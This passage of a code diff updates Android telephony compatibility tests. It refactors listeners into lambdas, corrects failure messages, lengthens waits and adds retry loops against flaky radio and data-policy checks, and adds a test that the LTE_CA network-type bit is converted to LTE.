-                mTelephonyManager.listen(mListener, PhoneStateListener.LISTEN_SERVICE_STATE);
-                Looper.loop();
-            }
+                }
+            };
+            mTelephonyManager.listen(mListener, PhoneStateListener.LISTEN_SERVICE_STATE);
+            Looper.loop();
         });
 
         synchronized (mLock) {
@@ -1728,45 +1719,42 @@
     public void testRebootRadio() throws Throwable {
         assumeTrue(hasFeature(PackageManager.FEATURE_TELEPHONY_RADIO_ACCESS));
 
-        TestThread t = new TestThread(new Runnable() {
-            public void run() {
-                Looper.prepare();
+        TestThread t = new TestThread(() -> {
+            Looper.prepare();
 
-                mListener = new PhoneStateListener() {
-                    @Override
-                    public void onRadioPowerStateChanged(
-                            @RadioPowerState int state) {
-                        synchronized (mLock) {
-                            if (state == TelephonyManager.RADIO_POWER_ON && mHasRadioPowerOff) {
-                                mRadioRebootTriggered = true;
-                                mLock.notify();
-                            } else if (state == TelephonyManager.RADIO_POWER_OFF) {
-                                // reboot must go to power off
-                                mHasRadioPowerOff = true;
-                            }
+            mListener = new PhoneStateListener() {
+                @Override
+                public void onRadioPowerStateChanged(@RadioPowerState int state) {
+                    synchronized (mLock) {
+                        if (state == TelephonyManager.RADIO_POWER_ON && mHasRadioPowerOff) {
+                            mRadioRebootTriggered = true;
+                            mLock.notify();
+                        } else if (state == TelephonyManager.RADIO_POWER_OFF) {
+                            // reboot must go to power off
+                            mHasRadioPowerOff = true;
                         }
                     }
-                };
-                ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
-                        (tm) -> tm.listen(mListener,
-                                PhoneStateListener.LISTEN_RADIO_POWER_STATE_CHANGED));
-                Looper.loop();
-            }
+                }
+            };
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                    (tm) -> tm.listen(mListener,
+                            PhoneStateListener.LISTEN_RADIO_POWER_STATE_CHANGED));
+            Looper.loop();
         });
 
         assertThat(mTelephonyManager.getRadioPowerState()).isEqualTo(
                 TelephonyManager.RADIO_POWER_ON);
         assertThat(mRadioRebootTriggered).isFalse();
         assertThat(mHasRadioPowerOff).isFalse();
+        t.start();
         try {
             ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
-                    (tm) -> tm.rebootModem());
+                    TelephonyManager::rebootModem);
         } catch (Exception ex) {
             //skip this test if not supported or unsuccessful (success=false)
             return;
         }
 
-        t.start();
         synchronized (mLock) {
             // reboot takes longer time
             if (!mRadioRebootTriggered) {
@@ -1785,25 +1773,23 @@
         // note, other telephony states might not resumes properly at this point. e.g, service state
         // might still in the transition from OOS to In service. Thus we need to wait for in
         // service state before running next tests.
-        t = new TestThread(new Runnable() {
-            public void run() {
-                Looper.prepare();
+        t = new TestThread(() -> {
+            Looper.prepare();
 
-                mListener = new PhoneStateListener() {
-                    @Override
-                    public void onServiceStateChanged(ServiceState serviceState) {
-                        synchronized (mLock) {
-                            if (serviceState.getState() == ServiceState.STATE_IN_SERVICE) {
-                                mServiceStateChangedCalled = true;
-                                mLock.notify();
-                            }
+            mListener = new PhoneStateListener() {
+                @Override
+                public void onServiceStateChanged(ServiceState serviceState) {
+                    synchronized (mLock) {
+                        if (serviceState.getState() == ServiceState.STATE_IN_SERVICE) {
+                            mServiceStateChangedCalled = true;
+                            mLock.notify();
                         }
                     }
-                };
-                ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
-                        (tm) -> tm.listen(mListener, PhoneStateListener.LISTEN_SERVICE_STATE));
-                Looper.loop();
-            }
+                }
+            };
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                    (tm) -> tm.listen(mListener, PhoneStateListener.LISTEN_SERVICE_STATE));
+            Looper.loop();
         });
 
         synchronized (mLock) {
@@ -3258,7 +3244,7 @@
         long allowedNetworkTypes = TelephonyManager.NETWORK_TYPE_BITMASK_NR;
         try {
             mTelephonyManager.setAllowedNetworkTypes(allowedNetworkTypes);
-            fail("testSetPolicyDataEnabled: SecurityException expected");
+            fail("testSetAllowedNetworkTypes: SecurityException expected");
         } catch (SecurityException se) {
             // expected
         }
@@ -3331,7 +3317,7 @@
             mIsAllowedNetworkTypeChanged = true;
             mTelephonyManager.setAllowedNetworkTypesForReason(
                     TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_POWER, allowedNetworkTypes);
-            fail("testSetPolicyDataEnabled: SecurityException expected");
+            fail("testSetAllowedNetworkTypesForReason: SecurityException expected");
         } catch (SecurityException se) {
             // expected
         }
@@ -3363,8 +3349,7 @@
         // test without permission: verify SecurityException
         long allowedNetworkTypes1 = TelephonyManager.NETWORK_TYPE_BITMASK_NR
                 | TelephonyManager.NETWORK_TYPE_BITMASK_UMTS;
-        long allowedNetworkTypes2 = TelephonyManager.NETWORK_TYPE_BITMASK_LTE
-                | TelephonyManager.NETWORK_TYPE_BITMASK_LTE_CA;
+        long allowedNetworkTypes2 = TelephonyManager.NETWORK_TYPE_BITMASK_LTE;
         long allowedNetworkTypes3 = TelephonyManager.NETWORK_TYPE_BITMASK_NR
                 | TelephonyManager.NETWORK_TYPE_BITMASK_LTE
                 | TelephonyManager.NETWORK_TYPE_BITMASK_UMTS;
@@ -3665,14 +3650,14 @@
                 (tm) -> tm.setDataEnabledForReason(TelephonyManager.DATA_ENABLED_REASON_THERMAL,
                         false));
 
-        waitForMs(500);
+        waitForMs(1000);
         boolean isDataEnabledForReason = ShellIdentityUtils.invokeMethodWithShellPermissions(
                 mTelephonyManager, (tm) -> tm.isDataEnabledForReason(
                         TelephonyManager.DATA_ENABLED_REASON_THERMAL));
         assertFalse(isDataEnabledForReason);
 
         boolean isDataConnectionAvailable = ShellIdentityUtils.invokeMethodWithShellPermissions(
-                mTelephonyManager, (tm) -> tm.isDataConnectionAllowed());
+                mTelephonyManager, TelephonyManager::isDataConnectionAllowed);
         assertFalse(isDataConnectionAvailable);
 
         ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
@@ -3680,14 +3665,14 @@
                 (tm) -> tm.setDataEnabledForReason(TelephonyManager.DATA_ENABLED_REASON_THERMAL,
                         true));
 
-        waitForMs(500);
+        waitForMs(1000);
         isDataEnabledForReason = ShellIdentityUtils.invokeMethodWithShellPermissions(
                 mTelephonyManager, (tm) -> tm.isDataEnabledForReason(
                         TelephonyManager.DATA_ENABLED_REASON_THERMAL));
         assertTrue(isDataEnabledForReason);
 
         isDataConnectionAvailable = ShellIdentityUtils.invokeMethodWithShellPermissions(
-                mTelephonyManager, (tm) -> tm.isDataConnectionAllowed());
+                mTelephonyManager, TelephonyManager::isDataConnectionAllowed);
         assertTrue(isDataConnectionAvailable);
     }
 
@@ -3698,19 +3683,27 @@
         // Perform this test on default data subscription.
         mTelephonyManager = getContext().getSystemService(TelephonyManager.class)
                 .createForSubscriptionId(SubscriptionManager.getDefaultDataSubscriptionId());
-        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
-                mTelephonyManager,
-                (tm) -> tm.setDataEnabledForReason(TelephonyManager.DATA_ENABLED_REASON_POLICY,
-                        false));
 
-        waitForMs(500);
-        boolean isDataEnabledForReason = ShellIdentityUtils.invokeMethodWithShellPermissions(
-                mTelephonyManager, (tm) -> tm.isDataEnabledForReason(
-                        TelephonyManager.DATA_ENABLED_REASON_POLICY));
+        int retry = 0;
+        boolean isDataEnabledForReason = true;
+        boolean isDataConnectionAvailable = true;
+        // NPMS will set policy data to true after tests set it to false,
+        // so retry disabling policy data to prevent flaky test failures.
+        // TODO: Set empty policies once we can suppress default policies.
+        while ((isDataEnabledForReason || isDataConnectionAvailable) && retry < 30) {
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                    mTelephonyManager,
+                    (tm) -> tm.setDataEnabledForReason(TelephonyManager.DATA_ENABLED_REASON_POLICY,
+                            false));
+            isDataEnabledForReason = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                    mTelephonyManager, (tm) -> tm.isDataEnabledForReason(
+                            TelephonyManager.DATA_ENABLED_REASON_POLICY));
+            isDataConnectionAvailable = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                    mTelephonyManager, TelephonyManager::isDataConnectionAllowed);
+            retry++;
+            waitForMs(500);
+        }
         assertFalse(isDataEnabledForReason);
-
-        boolean isDataConnectionAvailable = ShellIdentityUtils.invokeMethodWithShellPermissions(
-                mTelephonyManager, (tm) -> tm.isDataConnectionAllowed());
         assertFalse(isDataConnectionAvailable);
 
         ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
@@ -3718,14 +3711,14 @@
                 (tm) -> tm.setDataEnabledForReason(TelephonyManager.DATA_ENABLED_REASON_POLICY,
                         true));
 
-        waitForMs(500);
+        waitForMs(1000);
         isDataEnabledForReason = ShellIdentityUtils.invokeMethodWithShellPermissions(
                 mTelephonyManager, (tm) -> tm.isDataEnabledForReason(
                         TelephonyManager.DATA_ENABLED_REASON_POLICY));
         assertTrue(isDataEnabledForReason);
 
         isDataConnectionAvailable = ShellIdentityUtils.invokeMethodWithShellPermissions(
-                mTelephonyManager, (tm) -> tm.isDataConnectionAllowed());
+                mTelephonyManager, TelephonyManager::isDataConnectionAllowed);
         assertTrue(isDataConnectionAvailable);
     }
 
@@ -3741,14 +3734,14 @@
                 (tm) -> tm.setDataEnabledForReason(TelephonyManager.DATA_ENABLED_REASON_CARRIER,
                         false));
 
-        waitForMs(500);
+        waitForMs(1000);
         boolean isDataEnabledForReason = ShellIdentityUtils.invokeMethodWithShellPermissions(
                 mTelephonyManager, (tm) -> tm.isDataEnabledForReason(
                         TelephonyManager.DATA_ENABLED_REASON_CARRIER));
         assertFalse(isDataEnabledForReason);
 
         boolean isDataConnectionAvailable = ShellIdentityUtils.invokeMethodWithShellPermissions(
-                mTelephonyManager, (tm) -> tm.isDataConnectionAllowed());
+                mTelephonyManager, TelephonyManager::isDataConnectionAllowed);
         assertFalse(isDataConnectionAvailable);
 
         ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
@@ -3756,13 +3749,13 @@
                 (tm) -> tm.setDataEnabledForReason(TelephonyManager.DATA_ENABLED_REASON_CARRIER,
                         true));
 
-        waitForMs(500);
+        waitForMs(1000);
         isDataEnabledForReason = ShellIdentityUtils.invokeMethodWithShellPermissions(
                 mTelephonyManager, (tm) -> tm.isDataEnabledForReason(
                         TelephonyManager.DATA_ENABLED_REASON_CARRIER));
         assertTrue(isDataEnabledForReason);
         isDataConnectionAvailable = ShellIdentityUtils.invokeMethodWithShellPermissions(
-                mTelephonyManager, (tm) -> tm.isDataConnectionAllowed());
+                mTelephonyManager, TelephonyManager::isDataConnectionAllowed);
         assertTrue(isDataConnectionAvailable);
     }
 
@@ -3775,14 +3768,14 @@
                 (tm) -> tm.setDataEnabledForReason(TelephonyManager.DATA_ENABLED_REASON_USER,
                         false));
 
-        waitForMs(500);
+        waitForMs(1000);
         boolean isDataEnabledForReason = ShellIdentityUtils.invokeMethodWithShellPermissions(
                 mTelephonyManager, (tm) -> tm.isDataEnabledForReason(
                         TelephonyManager.DATA_ENABLED_REASON_USER));
         assertFalse(isDataEnabledForReason);
 
         boolean isDataConnectionAvailable = ShellIdentityUtils.invokeMethodWithShellPermissions(
-                mTelephonyManager, (tm) -> tm.isDataConnectionAllowed());
+                mTelephonyManager, TelephonyManager::isDataConnectionAllowed);
         assertFalse(isDataConnectionAvailable);
 
         ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
@@ -3790,13 +3783,13 @@
                 (tm) -> tm.setDataEnabledForReason(TelephonyManager.DATA_ENABLED_REASON_USER,
                         true));
 
-        waitForMs(500);
+        waitForMs(1000);
         isDataEnabledForReason = ShellIdentityUtils.invokeMethodWithShellPermissions(
                 mTelephonyManager, (tm) -> tm.isDataEnabledForReason(
                         TelephonyManager.DATA_ENABLED_REASON_USER));
         assertTrue(isDataEnabledForReason);
         isDataConnectionAvailable = ShellIdentityUtils.invokeMethodWithShellPermissions(
-                mTelephonyManager, (tm) -> tm.isDataConnectionAllowed());
+                mTelephonyManager, TelephonyManager::isDataConnectionAllowed);
         assertTrue(isDataConnectionAvailable);
     }
 
@@ -4005,15 +3998,14 @@
         final String puk = "fake_puk";
         final String newPin = "fake_new_pin";
 
-        //Refer GSM 02.17  5.6 PIN Manangement
+        //Refer GSM 02.17 5.6 PIN Management
         //To avoid that sim may enter PUK state,
         //TC should be allowed when current Pin attempt count is reset with 3.
         boolean isEnabled = ShellIdentityUtils.invokeMethodWithShellPermissions(
                 mTelephonyManager, TelephonyManager::isIccLockEnabled);
         PinResult result = ShellIdentityUtils.invokeMethodWithShellPermissions(
                 mTelephonyManager, (tm) -> tm.supplyIccLockPin(empty_pin));
-        assertTrue(result.getResult() == PinResult.PIN_RESULT_TYPE_SUCCESS);
-        if(result.getAttemptsRemaining() < 3){
+        if (result.getAttemptsRemaining() < 3) {
             Log.d(TAG, "Skipping test and requires that reboot device and unlock pin successfully");
             return;
         }
@@ -4448,7 +4440,7 @@
 
     private Set<CellIdentity> getRegisteredCellIdentities() {
         ServiceState ss = mTelephonyManager.getServiceState();
-        Set<CellIdentity> cidSet = new ArraySet<CellIdentity>(2);
+        Set<CellIdentity> cidSet = new ArraySet<>(2);
         for (NetworkRegistrationInfo nri : ss.getNetworkRegistrationInfoListForTransportType(
                 AccessNetworkConstants.TRANSPORT_TYPE_WWAN)) {
             if (nri.isRegistered()) cidSet.add(nri.getCellIdentity());
@@ -4474,7 +4466,7 @@
     }
 
     @Test
-    public void testGetAllCellInfo() throws Throwable {
+    public void testGetAllCellInfo() {
         assumeTrue(hasFeature(PackageManager.FEATURE_TELEPHONY_RADIO_ACCESS));
         // For IRadio <1.5, just verify that calling the method doesn't throw an error.
         if (mRadioVersion < RADIO_HAL_VERSION_1_5) {
@@ -4482,7 +4474,9 @@
             return;
         }
 
-        for (CellInfo cellInfo : mTelephonyManager.getAllCellInfo()) {
+        List<CellInfo> allCellInfo = mTelephonyManager.getAllCellInfo();
+        assertTrue(!allCellInfo.isEmpty());
+        for (CellInfo cellInfo : allCellInfo) {
             CellIdentity cellIdentity = cellInfo.getCellIdentity();
             int[] bands;
             if (cellIdentity instanceof CellIdentityLte) {
@@ -4761,12 +4755,7 @@
         return major * 100 + minor;
     }
 
-    private Executor mSimpleExecutor = new Executor() {
-        @Override
-        public void execute(Runnable r) {
-            r.run();
-        }
-    };
+    private Executor mSimpleExecutor = Runnable::run;
 
     private static MockSignalStrengthsTelephonyCallback mMockSignalStrengthsTelephonyCallback;
 
@@ -4831,16 +4820,14 @@
         }
         grantLocationPermissions();
 
-        TestThread t = new TestThread(new Runnable() {
-            public void run() {
-                Looper.prepare();
-                mMockCellInfoListener = new MockCellInfoListener();
-                synchronized (mLock) {
-                    mLock.notify(); // listener is ready
-                }
-
-                Looper.loop();
+        TestThread t = new TestThread(() -> {
+            Looper.prepare();
+            mMockCellInfoListener = new MockCellInfoListener();
+            synchronized (mLock) {
+                mLock.notify(); // listener is ready
             }
+
+            Looper.loop();
         });
 
         synchronized (mLock) {
@@ -5053,7 +5040,7 @@
         // passing slotMapping combination
         UiccSlotMapping slotMapping1 = new UiccSlotMapping(0, 1, 1);
         UiccSlotMapping slotMapping2 = new UiccSlotMapping(1, 0, 0);
-        List<UiccSlotMapping> slotMappingList = new ArrayList<UiccSlotMapping>();
+        List<UiccSlotMapping> slotMappingList = new ArrayList<>();
         slotMappingList.add(slotMapping1);
         slotMappingList.add(slotMapping2);
         try {
@@ -5162,6 +5149,37 @@
             // expected
         }
     }
+
+    @Test
+    public void testIgnoreInvalidNetworkType() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        // NETWORK_TYPE_BITMASK_LTE_CA is invalid, should be converted into NETWORK_TYPE_BITMASK_LTE
+        long invalidAllowedNetworkTypes = TelephonyManager.NETWORK_TYPE_BITMASK_NR
+                | TelephonyManager.NETWORK_TYPE_BITMASK_LTE_CA;
+        long expectedAllowedNetworkTypes = TelephonyManager.NETWORK_TYPE_BITMASK_NR
+                | TelephonyManager.NETWORK_TYPE_BITMASK_LTE;
+        try {
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                    mTelephonyManager,
+                    (tm) -> tm.setAllowedNetworkTypesForReason(
+                            TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_POWER,
+                            invalidAllowedNetworkTypes));
+
+            long deviceAllowedNetworkTypes = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                    mTelephonyManager, (tm) -> {
+                        return tm.getAllowedNetworkTypesForReason(
+                                TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_POWER);
+                    }
+            );
+            assertEquals(expectedAllowedNetworkTypes, deviceAllowedNetworkTypes);
+        } catch (SecurityException se) {
+            fail("testIgnoreInvalidNetworkType: SecurityException not expected");
+        }
+    }
+
     @Test
     public void getSimSlotMappingTest() {
         assumeTrue(hasFeature(PackageManager.FEATURE_TELEPHONY_SUBSCRIPTION));
@@ -5193,139 +5211,105 @@
         return true;
     }
 
-    private static class ServiceStateListener extends TelephonyCallback
-            implements TelephonyCallback.ServiceStateListener {
-        CountDownLatch mLatch;
-        Predicate<ServiceState> mStateToWaitFor;
+    private static class ServiceStateRadioStateListener extends TelephonyCallback
+            implements TelephonyCallback.ServiceStateListener,
+            TelephonyCallback.RadioPowerStateListener {
+        ServiceState mServiceState;
+        int mRadioPowerState;
 
-        ServiceStateListener(Predicate<ServiceState> stateToWaitFor) {
-            mLatch = new CountDownLatch(1);
-            mStateToWaitFor = stateToWaitFor;
+        ServiceStateRadioStateListener(ServiceState serviceState, int radioPowerState) {
+            mServiceState = serviceState;
+            mRadioPowerState = radioPowerState;
         }
 
         @Override
         public void onServiceStateChanged(ServiceState ss) {
-            if (mStateToWaitFor.test(ss)) {
-                mLatch.countDown();
-            }
-        }
-
-        public void waitForServiceStateChange(long timeout, TimeUnit unit) throws Exception {
-            if (!mLatch.await(timeout, unit)) {
-                throw new IllegalStateException("ServiceState did not change to satisfy condition");
-            }
-        }
-    }
-
-    private void waitForServiceState(Predicate<ServiceState> condition, long timeout, TimeUnit unit)
-            throws Exception {
-        ServiceStateListener callback = new ServiceStateListener(condition);
-        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
-                mTelephonyManager,
-                tm -> tm.registerTelephonyCallback(Runnable::run, callback));
-        try {
-            callback.waitForServiceStateChange(timeout, unit);
-        } finally {
-            mTelephonyManager.unregisterTelephonyCallback(callback);
-        }
-    }
-
-    private static class RadioPowerStateListener extends TelephonyCallback
-            implements TelephonyCallback.RadioPowerStateListener {
-        CountDownLatch mLatch;
-        @RadioPowerState int mStateToWaitFor;
-
-        RadioPowerStateListener(@RadioPowerState int stateToWaitFor) {
-            mLatch = new CountDownLatch(1);
-            mStateToWaitFor = stateToWaitFor;
+            mServiceState = ss;
         }
 
         @Override
-        public void onRadioPowerStateChanged(@RadioPowerState int state) {
-            if (state == mStateToWaitFor) {
-                mLatch.countDown();
-            }
-        }
-
-        public void waitForRadioPowerStateChange() throws Exception {
-            if (!mLatch.await(10, TimeUnit.SECONDS)) {
-                throw new IllegalStateException(
-                        "Radio power state did not change to " + mStateToWaitFor);
-            }
-        }
-    }
-
-    private void setRadioPower(boolean powerOn) throws Exception {
-        RadioPowerStateListener callback =
-                new RadioPowerStateListener(
-                        powerOn
-                                ? TelephonyManager.RADIO_POWER_ON
-                                : TelephonyManager.RADIO_POWER_OFF);
-        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
-                mTelephonyManager,
-                tm -> tm.registerTelephonyCallback(Runnable::run, callback),
-                permission.READ_PRIVILEGED_PHONE_STATE);
-        try {
-            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
-                    mTelephonyManager,
-                    tm -> tm.setRadioEnabled(powerOn),
-                    permission.MODIFY_PHONE_STATE);
-            callback.waitForRadioPowerStateChange();
-        } finally {
-            mTelephonyManager.unregisterTelephonyCallback(callback);
+        public void onRadioPowerStateChanged(int radioState) {
+            mRadioPowerState = radioState;
         }
     }
 
     @Test
-    public void testSetVoiceServiceStateOverride() throws Exception {
+    public void testSetVoiceServiceStateOverride() {
         assumeTrue(hasFeature(PackageManager.FEATURE_TELEPHONY_CALLING));
+        ServiceStateRadioStateListener callback = new ServiceStateRadioStateListener(
+                mTelephonyManager.getServiceState(), mTelephonyManager.getRadioPowerState());
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                tm -> tm.registerTelephonyCallback(Runnable::run, callback));
 
         boolean turnedRadioOff = false;
         boolean setServiceStateOverride = false;
         try {
             if (mTelephonyManager.getServiceState().getState() == ServiceState.STATE_IN_SERVICE) {
                 Log.i(TAG, "testSetVoiceServiceStateOverride: turning radio off to force OOS");
-                setRadioPower(false);
+                ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                        tm -> tm.setRadioPower(false), permission.MODIFY_PHONE_STATE);
                 turnedRadioOff = true;
                 // Wait until ServiceState reflects the power change
-                waitForServiceState(
-                        ss -> ss.getState() != ServiceState.STATE_IN_SERVICE, 10, TimeUnit.SECONDS);
+                int retry = 0;
+                while ((callback.mRadioPowerState != TelephonyManager.RADIO_POWER_OFF
+                        || callback.mServiceState.getState() == ServiceState.STATE_IN_SERVICE)
+                        && retry < 10) {
+                    retry++;
+                    waitForMs(1000);
+                }
+                assertEquals(TelephonyManager.RADIO_POWER_OFF, callback.mRadioPowerState);
+                assertNotEquals(ServiceState.STATE_IN_SERVICE, callback.mServiceState.getState());
             }
             // This could be OUT_OF_SERVICE or POWER_OFF, it doesn't really matter for this test as
             // long as it's not IN_SERVICE
-            int originalServiceState = mTelephonyManager.getServiceState().getState();
+            ServiceState serviceState = mTelephonyManager.getServiceState();
+            int retry = 0;
+            while (serviceState == null && retry < 3) {
+                serviceState = mTelephonyManager.getServiceState();
+                retry++;
+                waitForMs(200);
+            }
+            int originalServiceState = serviceState != null ? serviceState.getState()
+                    : callback.mServiceState.getState();
             Log.i(TAG, "testSetVoiceServiceStateOverride: originalSS = " + originalServiceState);
             assertNotEquals(ServiceState.STATE_IN_SERVICE, originalServiceState);
 
-            // Wait for device to finish processing RADIO_POWER_OFF.
-            // Otherwise, Telecom will clear the voice state override before SST processes it.
-            waitForMs(10000);
+            // Telecom will sometimes remove the override after radio reboots.
+            // Retry setting the override to prevent flaky test failures.
+            int listenerState = callback.mServiceState.getState();
+            int telephonyManagerState = originalServiceState;
+            retry = 0;
+            while ((listenerState != ServiceState.STATE_IN_SERVICE
+                    || telephonyManagerState != ServiceState.STATE_IN_SERVICE) && retry < 3) {
+                // We should see the override in both ServiceStateListener and getServiceState
+                ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                        tm -> tm.setVoiceServiceStateOverride(true),
+                        permission.BIND_TELECOM_CONNECTION_SERVICE);
+                setServiceStateOverride = true;
 
-            // We should see the override reflected by both ServiceStateListener and getServiceState
-            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
-                    mTelephonyManager,
-                    tm -> tm.setVoiceServiceStateOverride(true),
-                    permission.BIND_TELECOM_CONNECTION_SERVICE);
-            setServiceStateOverride = true;
-            waitForServiceState(
-                    ss -> ss.getState() == ServiceState.STATE_IN_SERVICE, 5, TimeUnit.SECONDS);
-            assertEquals(
-                    ServiceState.STATE_IN_SERVICE, mTelephonyManager.getServiceState().getState());
+                serviceState = mTelephonyManager.getServiceState();
+                if (serviceState != null) {
+                    telephonyManagerState = serviceState.getState();
+                }
+                listenerState = callback.mServiceState.getState();
+                retry++;
+                waitForMs(5000);
+            }
+            assertEquals(ServiceState.STATE_IN_SERVICE, listenerState);
+            assertEquals(ServiceState.STATE_IN_SERVICE, telephonyManagerState);
 
             // When we take away the override, things flip back to the original state since there
             // were no other material changes made to the device that would impact ServiceState
-            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
-                    mTelephonyManager,
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
                     tm -> tm.setVoiceServiceStateOverride(false),
                     permission.BIND_TELECOM_CONNECTION_SERVICE);
-            waitForServiceState(ss -> ss.getState() == originalServiceState, 5, TimeUnit.SECONDS);
+            assertEquals(originalServiceState, callback.mServiceState.getState());
             assertEquals(originalServiceState, mTelephonyManager.getServiceState().getState());
         } finally {
             if (setServiceStateOverride) {
                 // No harm in calling this again if we already did, but call just in case we failed
                 // an assertion related to setOverride(true)
-                ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
-                        mTelephonyManager,
+                ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
                         tm -> tm.setVoiceServiceStateOverride(false),
                         permission.BIND_TELECOM_CONNECTION_SERVICE);
             }
@@ -5333,11 +5317,18 @@
                 // Turn the radio back on and wait for ServiceState to become stable again so we
                 // don't cause flakes in other tests
                 Log.i(TAG, "testSetVoiceServiceStateOverride: turning radio back on");
-                setRadioPower(true);
-                waitForServiceState(
-                        ss -> ss.getState() == ServiceState.STATE_IN_SERVICE, 30, TimeUnit.SECONDS);
+                ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                        tm -> tm.setRadioPower(true), permission.MODIFY_PHONE_STATE);
+                int retry = 0;
+                while ((callback.mRadioPowerState != TelephonyManager.RADIO_POWER_ON
+                        || callback.mServiceState.getState() != ServiceState.STATE_IN_SERVICE)
+                        && retry < 10) {
+                    retry++;
+                    waitForMs(1000);
+                }
+                assertEquals(TelephonyManager.RADIO_POWER_ON, callback.mRadioPowerState);
+                assertEquals(ServiceState.STATE_IN_SERVICE, callback.mServiceState.getState());
             }
         }
     }
 }
-
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTestOnMockModem.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTestOnMockModem.java
index 81850a8..7a76aca 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTestOnMockModem.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTestOnMockModem.java
@@ -179,6 +179,7 @@
 
         // Remove the SIM
         assertTrue(sMockModemManager.removeSimCard(slotId));
+        TimeUnit.SECONDS.sleep(2);
         simCardState = sTelephonyManager.getSimCardState();
         assertEquals(TelephonyManager.SIM_STATE_ABSENT, simCardState);
     }
diff --git a/tests/tests/telephony/current/src/android/telephony/embms/cts/MbmsDownloadSessionTest.java b/tests/tests/telephony/current/src/android/telephony/embms/cts/MbmsDownloadSessionTest.java
index 910050f..eed8158 100644
--- a/tests/tests/telephony/current/src/android/telephony/embms/cts/MbmsDownloadSessionTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/embms/cts/MbmsDownloadSessionTest.java
@@ -57,6 +57,10 @@
         // Make sure we got the streaming services
         List<FileServiceInfo> serviceInfos =
                 (List<FileServiceInfo>) mCallback.waitOnFileServicesUpdated().arg1;
+        if (!CtsDownloadService.FILE_SERVICE_INFO.equals(serviceInfos.get(0))) {
+            mDownloadSession.requestUpdateFileServices(testClasses);
+            serviceInfos = (List<FileServiceInfo>) mCallback.waitOnFileServicesUpdated().arg1;
+        }
         assertEquals(CtsDownloadService.FILE_SERVICE_INFO, serviceInfos.get(0));
         assertEquals(0, mCallback.getNumErrorCalls());
 
diff --git a/tests/tests/telephony/current/src/android/telephony/embms/cts/MbmsStreamingSessionTest.java b/tests/tests/telephony/current/src/android/telephony/embms/cts/MbmsStreamingSessionTest.java
index 436f611..a6850b2 100644
--- a/tests/tests/telephony/current/src/android/telephony/embms/cts/MbmsStreamingSessionTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/embms/cts/MbmsStreamingSessionTest.java
@@ -24,12 +24,12 @@
 import android.telephony.mbms.MbmsErrors;
 import android.telephony.mbms.StreamingServiceInfo;
 
+import org.junit.Test;
+
 import java.util.Arrays;
 import java.util.Collections;
 import java.util.List;
 
-import org.junit.Test;
-
 public class MbmsStreamingSessionTest extends MbmsStreamingTestBase {
     @Test
     public void testDuplicateSession() throws Exception {
@@ -50,6 +50,11 @@
         // Make sure we got the streaming services
         List<StreamingServiceInfo> serviceInfos =
                 (List<StreamingServiceInfo>) mCallback.waitOnStreamingServicesUpdated().arg1;
+        if (!CtsStreamingService.STREAMING_SERVICE_INFO.equals(serviceInfos.get(0))) {
+            mStreamingSession.requestUpdateStreamingServices(testClasses);
+            serviceInfos =
+                    (List<StreamingServiceInfo>) mCallback.waitOnStreamingServicesUpdated().arg1;
+        }
         assertEquals(CtsStreamingService.STREAMING_SERVICE_INFO, serviceInfos.get(0));
         assertEquals(0, mCallback.getNumErrorCalls());
 
diff --git a/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccManagerTest.java b/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccManagerTest.java
index 2cb2ecc..2c37415 100644
--- a/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccManagerTest.java
@@ -44,7 +44,6 @@
 
 import org.junit.After;
 import org.junit.Before;
-import org.junit.Ignore;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -191,12 +190,11 @@
                 EuiccManager.EMBEDDED_SUBSCRIPTION_RESULT_ERROR, mCallbackReceiver.getResultCode());
     }
 
-    @Ignore("b/221887933") // TODO: Enable the test case after framework code is uncommented
     @Test
     public void testSwitchToSubscritionDisableWithNoPortAndChangesCompatDisabled()
             throws Exception {
-        // test disabled state only for now
-        if (mEuiccManager.isEnabled()) {
+        // Only test it when EuiccManager is enabled.
+        if (!mEuiccManager.isEnabled()) {
             return;
         }
